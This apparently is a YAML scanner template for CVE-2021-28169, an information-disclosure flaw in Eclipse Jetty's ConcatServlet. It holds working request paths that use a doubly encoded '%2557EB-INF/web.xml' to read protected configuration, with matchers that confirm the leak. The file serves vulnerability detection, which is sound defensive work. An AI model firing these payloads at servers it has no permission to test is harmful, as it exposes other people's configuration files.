38 lines
938 B
YAML
38 lines
938 B
YAML
id: CVE-2021-28169
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info:
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name: Jetty Utility Servlets Information Disclosure
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author: pikpikcu
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severity: medium
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reference: |
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- https://twitter.com/sec715/status/1406787963569065988
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- https://nvd.nist.gov/vuln/detail/CVE-2021-28169
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description: |
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For Eclipse Jetty versions <= 9.4.40, <= 10.0.2, <= 11.0.2, it is possible for requests to the ConcatServlet with a doubly encoded path to access protected resources within the WEB-INF directory.
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tags: cve,cve2021,jetty
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/static?/%2557EB-INF/web.xml"
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- "{{BaseURL}}/concat?/%2557EB-INF/web.xml"
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "application/xml"
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part: header
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- type: word
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words:
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- "<web-app>"
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- "java.sun.com"
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part: body
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condition: and
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- type: status
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status:
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- 200
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